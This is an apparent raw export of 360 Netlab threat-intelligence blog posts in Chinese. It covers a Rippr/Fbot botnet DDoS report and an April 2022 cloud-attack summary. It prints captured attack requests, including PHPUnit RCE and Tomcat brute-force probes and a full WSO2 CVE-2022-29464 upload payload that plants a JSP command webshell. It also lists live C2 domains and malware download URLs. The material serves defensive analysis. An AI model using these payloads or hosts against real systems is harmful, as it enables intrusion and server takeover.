\n\n在经过1个版本的测试之后,Rippr团伙利用其丰富的0DAY/NDAY武器库帮助Fbot快速扩张,当时活跃的C2是前述的 C2-Group-1。\n\n实际上这3个C2也被Rippr团伙的ripprbot僵尸网络使用,在Fbot扩张的同时,Rippr并没有停下攻击的脚步,我们的BotMon系统监控到Rippr旗下的ripprbot,fbot僵尸网络对全球知名的重大互联网站国某云服务商的发起数次大型DDoS攻击活动。\n\n2022年4月22日,我们从安全社区到到确认,A国某头部云服务商协同安全社区针对该恶意代码家族做过一次封堵。可惜这次封禁并没有对Rippr团伙形成有效的打击,该团伙发现C2被禁后,快速更新将C2切换到C2-Group-2,即本次攻击使用的三个C2域名,在极短的时间内恢复了DDoS攻击的能力。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/05/chart-cccommand-rippr.png\" width=\"860px\" /> \n\n\n从他们上线伊始,我们就一直在实时的捕捉他们的指令,上图是根据他们历史上发出的15万+攻击指令做出的统计。可以看出,该团伙从上线之初就异常活跃,受到反制措施之后 C2-Group-1 到 C2-Group-2 的切换也非常的迅速,攻击趋势没有任何停滞,且在4月26日达到攻击的一个最高峰。\n\n截至目前为止,本僵尸网络在全球范围内依然活跃,预期随着我们文章的登出,涉及的C2和恶意样本会被安全社区提取使用,黑客也许会通过再一次更新C2地址来应对。\n\n## 总结\n伴随信息活动越来越多,网络空间的安全性也愈发重要。本次健康宝通报抵御了网络攻击,引起了百姓的热切关注,在新媒体上热度很高。我们认为这也是向公众宣传网络安全的一个窗口。\n\n从国计民生关键基础设施的安全性角度来说,本次攻击提醒我们,北京健康宝已经毫无疑问应当纳入到关键基础设施的范畴。反过来,如果任何原因导致任何地区的健康码崩溃,当地的抗疫工作毫无疑问会受到迟滞。从这个角度说,我们应该为北京健康宝的提前预案、及时应对、有效保障点赞。\n\n从抵御网络空间僵尸网络的控制者和攻击者角度来说,僵尸网络是网络空间里的顽疾,国家执法机关和安全社区已经协作抵御僵尸网络多年。不仅国内如此,国际也是如此。例如针对本次攻击者,360公司就协同国家机关处置了对应的恶意控制域名,起到减缓攻击者发展的作用。但是仍需指出,成本方面这是一场“非对称战争“,防御者投入的精力和成本要远大于单一攻击者。除非所有防御者通力合作,否则我们很难将全部攻击者绳之以法,而只能是相对有限的打击重点攻击者,防御重点保护对象。\n\n最后请允许我们为360威胁情报中心打个广告。本次攻击相关的恶意控制域名,已经早于本次攻击事件就入库,在360及其生态产品中保护最终用户的安全。\n\n\n## IoC\n### C2\n```\niwishiwasnormal.ru\nilikefishing.xyz\niranistrash.cc\ndota.zzzsleepisnicezzz.art \ndota.iwishiwashappy.eu\ndota.uiasuibasdbui.art\n```\n\n### MD5\n```\n0de8e79862f846887821240ff0a7c67e\n116abdfff010b43b5269e5e5dd6e45a4\n1a904a1210e26a6da0d139824aba7309\n1b675da617a856cad8d6aaf20de6c186\n24f89312c3319df8627347924bac4ea7\n28d6bd52d227daa488fd14432d613d89\n2bc1ab65659f9b3f3e2efbfa05ab4172\n35f0a8216f939b117e54ee3bbd636d52\n3c87a4925292c8dc11694afe847fbfdf\n48fd995f44fc5317c9aa9585f85f3ac7\n4e55f1c3630f86edb695b20734270d20\n636f8430c263a9d2d798a89809df0874\n807c54466bfb076db66c0212a52fdc22\n813950fa1a9c00dce7eed71984a65100\n8d68390fddfa42a0e60a5dd247a4c243\n8d8da9bd5a8e2709c21ee4ee64d6162a\n93292a43949fa22a70a3221287792042\na608f8e7cb61e5273c4d057fd27353d1\naa3f65eddc437ff38f9df67a88bc5edc\nab9a5bff3d16576d01b4bc7190fb84ab\nb0ab8faa5809b3957a050000e13a6d8b\nb43cae51b13cfd9bb3c16d40b2a3c7a6\nb659aecf1ea18b82018d44b401f9252a\nb91fe7ba96c896e459f0744cd7db4722\nbd3bd14fcaa0f047bb03e67c2099849b\nc060e23d6369c12a60db59261b7552f2\nc42e41ee6486a7dc38cf3c098fde31c3\ndaad900f19e9f0a720f24e51dbc495cb\ndf53e7d0c15392035deabeaf7ea0a44a\nfe2e89e54771588ce4638eac84c5f367\n```\n\n### URL\n```\nhttp://31.44.185.237/arm4\nhttp://31.44.185.237/arm5\nhttp://31.44.185.237/arm6\nhttp://31.44.185.237/arm7\nhttp://31.44.185.237/mips\nhttp://31.44.185.237/mips64\nhttp://31.44.185.237/mipsel\nhttp://31.44.185.237/powerpc\nhttp://31.44.185.237/x\nhttp://31.44.185.237/x86\nhttp://31.44.185.237/x86_64\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6272cf65a5902a0007b59b92 |
post | null | 2022-05-06T07:01:43.000Z | 63873b9a8b1c1e0007f5301a | public-cloud-threat-intelligence-202204 | 0 | 2022-06-24T03:45:31.000Z | public | published | null | 2022-05-11T02:53:55.000Z | 公有云网络安全威胁情报(202204) | <!--kg-card-begin: markdown--><h2 id="">概述</h2>
<!--kg-card-end: markdown--><blockquote>本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。</blockquote><!--kg-card-begin: markdown--><ul>
<li><a href="https://netlab.360.com/zh/honeypot">360高级威胁狩猎蜜罐系统</a>发现全球9.2万个云服务器IP进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内39家单位所属的云服务资产IP,这些单位涉及政府、医疗、建筑、军工等多个行业。</li>
<li>2022年4月,WSO2多个产品和Apache Struts2爆出高危漏洞,两个漏洞技术细节已经公开,并且我们发现两个漏洞都已有在野利用和利用漏洞传播恶意软件的行为。</li>
<li>本月共记录来源于云服务器的扫描和攻击会话3.7亿次,其中漏洞攻击会话2400万次,传播恶意软件会话77.2万次。</li>
</ul>
<h2 id="">云上重点资产扫描攻击</h2>
<!--kg-card-end: markdown--><blockquote>四月份,我们共监测到全国39个公有云重点资产存在异常扫描及攻击行为。</blockquote><!--kg-card-begin: markdown--><p>随着云服务的普及,云安全问题也随之越发突出。攻击者常常入侵云服务器,并利用被入侵机器继续发动攻击。4月份我们发现了国内39个云服务器重点IP具有异常扫描攻击行为,由此我们认为该重点IP可能被入侵。从行业分布看,事业单位和政府机关的云上资产安全风险问题较大,此外,金融业和央企也面临较为严重的安全威胁。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220505111047574.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220505111047574.png" class="kg-image"/></a></p>
<p>从云服务商分布情况来看,阿里云在政企市场占据了较大的市场份额,因此也更加容易面临威胁,此次出现扫描攻击的重点IP云服务商以阿里云为主。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220509171659966.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220509171659966.png" class="kg-image"/></a></p>
<p>这些重点IP主要使用了敏感文件嗅探、Redis的相关漏洞及SSH暴力破解等攻击手法。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220509180556394.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220509180556394.png" class="kg-image"/></a></p>
<p>下面介绍其中几个具体案例。</p>
<table>
<thead>
<tr>
<th style="text-align:center">IP地址</th>
<th style="text-align:center">云服务商</th>
<th style="text-align:center">单位名称</th>
<th style="text-align:center">行业</th>
<th style="text-align:center">IP所在省份</th>
<th style="text-align:center">漏洞利用列表</th>
<th style="text-align:center">扫描协议列表</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">123.56.*.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">***人民医院</td>
<td style="text-align:center">医疗</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">Redis未授权访问漏洞<br />Docker API版本信息泄露漏洞</td>
<td style="text-align:center">Redis, HTTP</td>
</tr>
<tr>
<td style="text-align:center">120.92.*.*</td>
<td style="text-align:center">金山云</td>
<td style="text-align:center">****集团有限公司</td>
<td style="text-align:center">建筑/大型央企</td>
<td style="text-align:center">北京</td>
<td style="text-align:center">Apache Tomcat暴力破解<br />PHPUnit 远程代码执行漏洞<br />ThinkPHP 远程代码执行漏洞等</td>
<td style="text-align:center">HTTP</td>
</tr>
<tr>
<td style="text-align:center">121.40.*.*</td>
<td style="text-align:center">阿里云</td>
<td style="text-align:center">****股份有限公司</td>
<td style="text-align:center">制造业/军工</td>
<td style="text-align:center">浙江</td>
<td style="text-align:center">MSSQL暴力破解</td>
<td style="text-align:center">TDS</td>
</tr>
</tbody>
</table>
<p>案例1:位于北京的IP地址为123.56.*.*的阿里云服务器属于某地人民医院,这个IP地址存在利用Redis和Docker漏洞的攻击行为:</p>
<pre><code>*1
$4
info
</code></pre>
<pre><code>GET /v1.16/version HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip
</code></pre>
<p>案例2:位于北京的IP地址为120.92.*.*的金山云服务器属于某建筑行业大型央企集团有限公司,这个IP地址有Apache Tomcat、PHPUnit和ThinkPHP等多个产品的暴力破解和漏洞利用行为:</p>
<pre><code>GET /manager/html HTTP/1.1
Host: {target}:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Authorization: Basic OGhZVFNVRms6OGhZVFNVRms=
Connection: close
Accept-Encoding: gzip
Connection: close
</code></pre>
<pre><code>POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
<?=md5('eziqkjph');echo strtoupper(php_uname('s'))?>
</code></pre>
<h2 id="">热门漏洞攻击</h2>
<!--kg-card-end: markdown--><blockquote>2022年4月12日,Apache发布Apache Struts2 高危漏洞(CVE-2021-31805),该漏洞可允许攻击者发起远程代码执行。攻击者已利用该漏洞传播Shellbot恶意软件。同月18日,WSO2公开高危漏洞CVE-2022-29464,该漏洞允许攻击者在WSO2的多个产品上无限制地上传任意文件。我们发现攻击者已利用该漏洞传播WebShell恶意软件。</blockquote><!--kg-card-begin: markdown--><h3 id="1wso2cve202229464">(1)WSO2 多产品无限制文件上传漏洞(CVE-2022-29464)</h3>
<h4 id="">漏洞信息</h4>
<p><strong>影响范围:</strong><br>
WSO2 API Manager 2.2.0~4.0.0<br>
WSO2 Identity Server 5.2.0~5.11.0<br>
WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0<br>
WSO2 Identity Server as Key Manager 5.3.0~5.11.0<br>
WSO2 Enterprise Integrator 6.2.0~6.6.0<br>
WSO2 Open Banking AM 1.4.0~2.0.0<br>
WSO2 Open Banking KM 1.4.0~2.0.0</p>
<p><strong>CVE编号:</strong> CVE-2022-29464<br>
<strong>披露日期:</strong> 2022.04.18<br>
<strong>CVSS 3.1评分:</strong> 9.8<br>
<strong>影响设备量级:</strong> 万级</p>
<p>2022年4月23日,蜜罐系统首次捕获利用该漏洞进行攻击的数据包。我们发现总体上随时间推移,尝试利用该漏洞的攻击者IP数量和攻击会话数量呈现增加趋势。2022年4月28日开始,攻击者开始利用漏洞传播Webshell恶意软件。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220505162830059.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220505162830059.png" class="kg-image"/></a></p>
<p>WSO2已公布漏洞详情及修补措施,<a href="https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738">点击查看</a>,我们也对该漏洞的利用方法进行了分析:</p>
<h4 id="payload">漏洞Payload</h4>
<pre><code>POST /fileupload/toolsAny HTTP/1.1
Host: x.x.x.x:9443
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 881
Content-Type: multipart/form-data; boundary=256c5115fcd40ad6d0bf6a5ec73018cc
--256c5115fcd40ad6d0bf6a5ec73018cc
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--256c5115fcd40ad6d0bf6a5ec73018cc--
</code></pre>
<h4 id="">漏洞分析</h4>
<p>漏洞接口为/fileupload,搜索接口配置信息,该接口未进行认证处理:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504112812992-16517467119031.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504112812992-16517467119031.png" class="kg-image"/></a><br>
从url的映射配置文件看,漏洞接口/fileupload/toolsAny对应的处理文件是org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504114744485-16517467175532.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504114744485-16517467175532.png" class="kg-image"/></a><br>
在ToolsAnyFileUploadExecutor类的execute处理函数设置断点,发送蜜罐系统捕获的payload数据:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504121923679-16517467261333.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504121923679-16517467261333.png" class="kg-image"/></a><br>
处理函数并没有对用户输入的上传文件名进行校验存在路径穿越漏洞,从而可以上传webshell到/webapps/目录,导致RCE:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504123925299-16517467465076.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504123925299-16517467465076.png" class="kg-image"/></a></p>
<h4 id="">漏洞修复</h4>
<p>在新版本中,ToolsAnyFileUploadExecutor的函数execute被弃用,直接返回false:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504123404824-16517467412775.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504123404824-16517467412775.png" class="kg-image"/></a><br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504123221113-16517467349364.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504123221113-16517467349364.png" class="kg-image"/></a></p>
<h3 id="2apachestruts2s2062cve202131805">(2) Apache Struts2 S2-062 远程代码执行漏洞(CVE-2021-31805)</h3>
<h4 id="">漏洞信息</h4>
<p><strong>影响范围:</strong> Apache Struts 2.0.0 - 2.5.29<br>
<strong>CVE编号:</strong> CVE-2021-31805<br>
<strong>公开日期:</strong> 2022.04.12<br>
<strong>CVSS 3.1评分:</strong> 9.8<br>
<strong>影响设备量级:</strong> 百万级</p>
<p>这个漏洞的CVE号年份虽然是2021年,但2022年4月才对外公开。蜜罐系统最早在2022年4月15日捕获到攻击者利用该漏洞发起的攻击,4月16日发现Shellbot恶意程序开始利用该漏洞传播。</p>
<h4 id="">漏洞分析</h4>
<p>官方通报看S2-062是S2-061补丁的修复不完整导致的,仍有标签的属性可导致二次OGNL表达式注入漏洞。ComponentTagSupport的doStartTag 函数开始标签解析,跟踪调试,进入ComponentTagSupport的doEndTag函数:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504135602369-16517485285167.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504135602369-16517485285167.png" class="kg-image"/></a><br>
跟入component.end,接着进入evaluateParams函数,在evaluateParams函数中对name进行标签值赋值:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504163547883-16517485352728.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504163547883-16517485352728.png" class="kg-image"/></a><br>
继续调试,当标签属性不包含value且name非空时,进入completeExpressionIfAltSyntax 函数:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504163937298-16517485412929.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504163937298-16517485412929.png" class="kg-image"/></a><br>
跟进completeExpressionIfAltSyntax 函数,输入的name值 2*16 将被修改为%{2*16}:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504164049163-165174854582610.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504164049163-165174854582610.png" class="kg-image"/></a></p>
<p>然后recursion函数返回false,从而进入findValue触发二次OGNL表达式注入,执行了%{2*16}表达式:<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504164620635-165174855049011.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504164620635-165174855049011.png" class="kg-image"/></a><br>
在Struts v2.5.26中org.apache.tomcat被加入黑名单,根据OGNL语法,可通过#@org.apache.commons.collections.BeanMap@{}获取BeanMap对象,从而绕过S2_061的补丁。</p>
<h4 id="">漏洞修复</h4>
<p>在Struts v2.5.30版本中,新增isAcceptableExpression函数,通过正则表达式判断的方式修补漏洞:</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220504172557824-165174855462412.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504172557824-165174855462412.png" class="kg-image"/></a><br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220504173327346-165174855870213.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220504173327346-165174855870213.png" class="kg-image"/></a></p>
<h2 id="">云服务器攻击总体情况</h2>
<!--kg-card-end: markdown--><blockquote>4月份共监测到全球9.2万个访问蜜罐节点的服务器,其中2.4万个IP发生漏洞扫描和攻击行为,超6000个IP发生恶意软件传播行为,1.1万个IP发生密码爆破行为。</blockquote><!--kg-card-begin: markdown--><p>四月份我们共捕获到来自云服务器的扫描和攻击威胁3.67亿次。其中,进行漏洞扫描和攻击事件2400万次,共涉及386个漏洞,暴力破解事件2200万次,传播恶意软件事件77.2万次,涉及恶意软件家族236个。<br>
阿里云、DigitalOcean和腾讯云是发起漏洞攻击的IP数量最多的三家云服务商。</p>
<p><a href="__GHOST_URL__/content/images/2022/05/image-20220505115608134.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220505115608134.png" class="kg-image"/></a></p>
<p>总体上,攻击者通常使用暴力破解、漏洞探测和扫描、远程代码执行漏洞等方法发起网络攻击。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220506104155557.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220506104155557.png" class="kg-image"/></a></p>
<p>在具体的攻击方法上,Redis相关漏洞、敏感文件嗅探和SMTP协议扫描等是攻击者最常用的攻击手段。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220506134605931.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220506134605931.png" class="kg-image"/></a><br>
从漏洞攻击针对的厂商和产品分析,Redis、Docker和Apache仍然是攻击者使用漏洞攻击最多的厂商/产品,其中Redis的攻击者数量变化不大,但Docker的攻击者数量较三月有比较明显的提升。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220509192246030.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220509192246030.png" class="kg-image"/></a><br>
一些攻击者利用漏洞攻击的同时,还会传播木马病毒等恶意软件以达到挖矿、控制等目的。4月份共捕获到利用云服务器传播的恶意软件样本5350个,日均传播恶意软件会话2.57万次。在利用漏洞传播的恶意样本中,挖矿类(CoinMiner)的传播IP数量和会话数量最多,此外,木马下载器类(TrojanDownloader)、黑客工具类(HackTool)、Tsunami僵尸网络等也是传播较多的恶意软件家族类型。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220510164811165.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220510164811165.png" class="kg-image"/></a></p>
<p>具体来看,全球云服务器传播恶意软件会话日均34.4万次,传播恶意软件文件数量超过5000个,传播会话以挖矿类(CoinMiner)、Mirai僵尸网络程序和Root工具类(Rootkit)为主,主要恶意软件传播数据如下表所示:</p>
<table>
<thead>
<tr>
<th>恶意软件家族</th>
<th>恶意软件样本数量</th>
<th>恶意软件传播会话数量</th>
</tr>
</thead>
<tbody>
<tr>
<td>CoinMiner</td>
<td>132</td>
<td>3492059</td>
</tr>
<tr>
<td>Mirai</td>
<td>3528</td>
<td>2225752</td>
</tr>
<tr>
<td>Rootkit</td>
<td>8</td>
<td>1293556</td>
</tr>
<tr>
<td>Gafgyt</td>
<td>858</td>
<td>1199324</td>
</tr>
<tr>
<td>TrojanDownloader</td>
<td>446</td>
<td>764117</td>
</tr>
<tr>
<td>HackTool</td>
<td>9</td>
<td>338871</td>
</tr>
<tr>
<td>Tsunami</td>
<td>28</td>
<td>266909</td>
</tr>
<tr>
<td>YellowDye</td>
<td>8</td>
<td>265361</td>
</tr>
<tr>
<td>RemoteAdmin</td>
<td>1</td>
<td>259459</td>
</tr>
<tr>
<td>Exploit</td>
<td>46</td>
<td>28327</td>
</tr>
</tbody>
</table>
<p>中国国内云服务器传播恶意软件会话日均19.5万次,传播恶意软件文件数量770个,传播会话以挖矿类(CoinMiner)、Root工具类(Rootkit)和木马下载器类(TrojanDownloader)为主,主要恶意软件传播数据如下表所示:</p>
<table>
<thead>
<tr>
<th>恶意软件家族</th>
<th>恶意软件样本数量</th>
<th>恶意软件传播会话数量</th>
</tr>
</thead>
<tbody>
<tr>
<td>CoinMiner</td>
<td>57</td>
<td>3107750</td>
</tr>
<tr>
<td>Rootkit</td>
<td>8</td>
<td>1135539</td>
</tr>
<tr>
<td>TrojanDownloader</td>
<td>49</td>
<td>495456</td>
</tr>
<tr>
<td>HackTool</td>
<td>5</td>
<td>303781</td>
</tr>
<tr>
<td>YellowDye</td>
<td>8</td>
<td>233292</td>
</tr>
<tr>
<td>RemoteAdmin</td>
<td>1</td>
<td>232013</td>
</tr>
<tr>
<td>Tsunami</td>
<td>12</td>
<td>228386</td>
</tr>
<tr>
<td>Mirai</td>
<td>500</td>
<td>101470</td>
</tr>
<tr>
<td>Exploit</td>
<td>19</td>
<td>4921</td>
</tr>
<tr>
<td>Kryptik</td>
<td>3</td>
<td>666</td>
</tr>
</tbody>
</table>
<p>我们从攻击者下载恶意软件的URL中提取出了这些恶意软件下载服务器的域名或IP,被最多攻击者使用的恶意软件下载服务器有oracle.zzhreceive.top,bbq.zzhreceive.top等。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220506114703626.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220506114703626.png" class="kg-image"/></a><br>
密码爆破攻击方面,SSH的暴力破解仍然最为常见,随后是Telnet和甲骨文公司的Oracle TNS协议。DigitalOcean、腾讯云和亚马逊AWS是爆破攻击源IP数量最多的云服务商。<br>
<a href="__GHOST_URL__/content/images/2022/05/image-20220506141358361.png"><img src="__GHOST_URL__/content/images/2022/05/image-20220506141358361.png" class="kg-image"/></a></p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h2 id="ioclist">IoC List</h2>
<p>URL:</p>
<pre><code>http://146.70.80.113/suite
http://103.136.40.243/bins/Cronarm5
http://103.136.40.243/z.sh
http://175.11.71.224:58786/i
http://119.179.214.255:48348/bin.sh
</code></pre>
<p>md5:</p>
<pre><code>97c3be113298ba1cf7acd6159391bc8c
0f77be12a7951073144b264f4cc0bb27
fdadd6050aec5f744d8e4e7118f95fc6
eec5c6c219535fba3a0492ea8118b397
59ce0baba11893f90527fc951ac69912
</code></pre>
<!--kg-card-end: markdown--> | 概述
本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。
* 360高级威胁狩猎蜜罐系统发现全球9.2万个云服务器IP进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内39家单位所属的云服务资产IP,这些单位涉及政府、医疗、建筑、军工等多个行业。
* 2022年4月,WSO2多个产品和Apache Struts2爆出高危漏洞,两个漏洞技术细节已经公开,并且我们发现两个漏洞都已有在野利用和利用漏洞传播恶意软件的行为。
* 本月共记录来源于云服务器的扫描和攻击会话3.7亿次,其中漏洞攻击会话2400万次,传播恶意软件会话77.2万次。
云上重点资产扫描攻击
四月份,我们共监测到全国39个公有云重点资产存在异常扫描及攻击行为。
随着云服务的普及,云安全问题也随之越发突出。攻击者常常入侵云服务器,并利用被入侵机器继续发动攻击。4月份我们发现了国内39个云服务器重点IP具有异常扫描攻击行为,由此我们认为该重点IP可能被入侵。从行业分布看,事业单位和政府机关的云上资产安全风险问题较大,此外,金融业和央企也面临较为严重的安全威胁。
从云服务商分布情况来看,阿里云在政企市场占据了较大的市场份额,因此也更加容易面临威胁,此次出现扫描攻击的重点IP云服务商以阿里云为主。
这些重点IP主要使用了敏感文件嗅探、Redis的相关漏洞及SSH暴力破解等攻击手法。
下面介绍其中几个具体案例。
IP地址
云服务商
单位名称
行业
IP所在省份
漏洞利用列表
扫描协议列表
123.56.*.*
阿里云
***人民医院
医疗
北京
Redis未授权访问漏洞
Docker API版本信息泄露漏洞
Redis, HTTP
120.92.*.*
金山云
****集团有限公司
建筑/大型央企
北京
Apache Tomcat暴力破解
PHPUnit 远程代码执行漏洞
ThinkPHP 远程代码执行漏洞等
HTTP
121.40.*.*
阿里云
****股份有限公司
制造业/军工
浙江
MSSQL暴力破解
TDS
案例1:位于北京的IP地址为123.56.*.*的阿里云服务器属于某地人民医院,这个IP地址存在利用Redis和Docker漏洞的攻击行为:
*1
$4
info
GET /v1.16/version HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip
案例2:位于北京的IP地址为120.92.*.*的金山云服务器属于某建筑行业大型央企集团有限公司,这个IP地址有Apache Tomcat、PHPUnit和ThinkPHP等多个产品的暴力破解和漏洞利用行为:
GET /manager/html HTTP/1.1
Host: {target}:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Authorization: Basic OGhZVFNVRms6OGhZVFNVRms=
Connection: close
Accept-Encoding: gzip
Connection: close
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: {target}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 52
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close
<?=md5('eziqkjph');echo strtoupper(php_uname('s'))?>
热门漏洞攻击
2022年4月12日,Apache发布Apache Struts2 高危漏洞(CVE-2021-31805),该漏洞可允许攻击者发起远程代码执行。攻击者已利用该漏洞传播Shellbot恶意软件。同月18日,WSO2公开高危漏洞CVE-2022-29464,该漏洞允许攻击者在WSO2的多个产品上无限制地上传任意文件。我们发现攻击者已利用该漏洞传播WebShell恶意软件。
(1)WSO2 多产品无限制文件上传漏洞(CVE-2022-29464)
漏洞信息
影响范围:
WSO2 API Manager 2.2.0~4.0.0
WSO2 Identity Server 5.2.0~5.11.0
WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, 5.6.0
WSO2 Identity Server as Key Manager 5.3.0~5.11.0
WSO2 Enterprise Integrator 6.2.0~6.6.0
WSO2 Open Banking AM 1.4.0~2.0.0
WSO2 Open Banking KM 1.4.0~2.0.0
CVE编号: CVE-2022-29464
披露日期: 2022.04.18
CVSS 3.1评分: 9.8
影响设备量级: 万级
2022年4月23日,蜜罐系统首次捕获利用该漏洞进行攻击的数据包。我们发现总体上随时间推移,尝试利用该漏洞的攻击者IP数量和攻击会话数量呈现增加趋势。2022年4月28日开始,攻击者开始利用漏洞传播Webshell恶意软件。
WSO2已公布漏洞详情及修补措施,点击查看,我们也对该漏洞的利用方法进行了分析:
漏洞Payload
POST /fileupload/toolsAny HTTP/1.1
Host: x.x.x.x:9443
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 881
Content-Type: multipart/form-data; boundary=256c5115fcd40ad6d0bf6a5ec73018cc
--256c5115fcd40ad6d0bf6a5ec73018cc
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/miori.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--256c5115fcd40ad6d0bf6a5ec73018cc--
漏洞分析
漏洞接口为/fileupload,搜索接口配置信息,该接口未进行认证处理:
从url的映射配置文件看,漏洞接口/fileupload/toolsAny对应的处理文件是org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor:
在ToolsAnyFileUploadExecutor类的execute处理函数设置断点,发送蜜罐系统捕获的payload数据:
处理函数并没有对用户输入的上传文件名进行校验存在路径穿越漏洞,从而可以上传webshell到/webapps/目录,导致RCE:
漏洞修复
在新版本中,ToolsAnyFileUploadExecutor的函数execute被弃用,直接返回false:
(2) Apache Struts2 S2-062 远程代码执行漏洞(CVE-2021-31805)
漏洞信息
影响范围: Apache Struts 2.0.0 - 2.5.29
CVE编号: CVE-2021-31805
公开日期: 2022.04.12
CVSS 3.1评分: 9.8
影响设备量级: 百万级
